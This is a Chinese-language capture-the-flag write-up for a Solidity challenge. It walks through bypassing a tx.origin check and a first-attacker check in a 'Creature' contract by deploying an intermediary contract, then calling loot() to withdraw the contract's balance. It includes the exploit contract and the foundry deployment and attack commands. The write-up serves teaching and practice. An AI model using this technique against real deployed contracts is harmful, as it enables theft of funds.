
(本篇都是使用的 foundry 框架的工具进行交互)
看看附件,主要是Creature.sol
最先看到的是创建了一个有 1000 血量的 boss,,可以用 attack 方法攻击,但是后面有一些验证
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
contract Creature {
uint256 public lifePoints;
address public aggro;
constructor() payable {
lifePoints = 1000;
}
function attack(uint256 _damage) external {
if (aggro == address(0)) {
aggro = msg.sender;
}
if (_isOffBalance() && aggro != msg.sender) {
lifePoints -= _damage;
} else {
lifePoints -= 0;
}
}
function loot() external {
require(lifePoints == 0, "Creature is still alive!");
payable(msg.sender).transfer(address(this).balance);
}
function _isOffBalance() private view returns (bool) {
return tx.origin != msg.sender;
}
}
我们直接用attack(uint256)传入 1000 来攻击,就会发现攻击并没有生效,我们无法使用 loot() 来提取战利品
cast send $TargetAddress "attack(uint256)" 1000 --rpc-url http:/ip/rpc --interactive

回过来我们看合约,会发现最重要的验证是再 _isOffBalance(),需要tx.origin != msg.sender,然后再满足aggro != msg.sender
tx.origin 为合约的最初调用者 msg.sender 为合约的直接调用者,这里我们部署一个中间人合约来调用 attack 就可以绕过;
然后aggro 这里是记录了第一次攻击者的 address,而我们刚刚攻击记录了自己 address,接下来使用中间人合约攻击刚好绕过
那么写一个Middleman 中间人合约,使用forge 部署
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
contract Middleman {
address public target = 0x70B0317717F2A79CE9Fe3695f805d252C6283C38;
function attack(uint256 _damage) external {
(bool success, bytes memory result) = target.call(abi.encodeWithSignature("attack(uint256)", _damage));
require(success, string(result));
}
}
可以先不加--broadcast 模拟一下。Deployed to 为Middleman 合约地址
forge create ./Middleman.sol:Middleman --rpc-url http://ip/rpc --private-key $privatekey --no-cache --broadcast

部署好后,通过Middleman 合约再进行交互
cast send 0x05A97c857F07B6B1752A08C281a5303eA242FeB8 "attack(uint256)" 1000 --rpc-url http://ip/rpc --interactive

然后与目标合约交互用loot()提取战利品
cast send $TargetAddress "loot()" --rpc-url http://ip/rpc --interactive

最后来到 ip/flag 就能看到 flag 了


Comments | NOTHING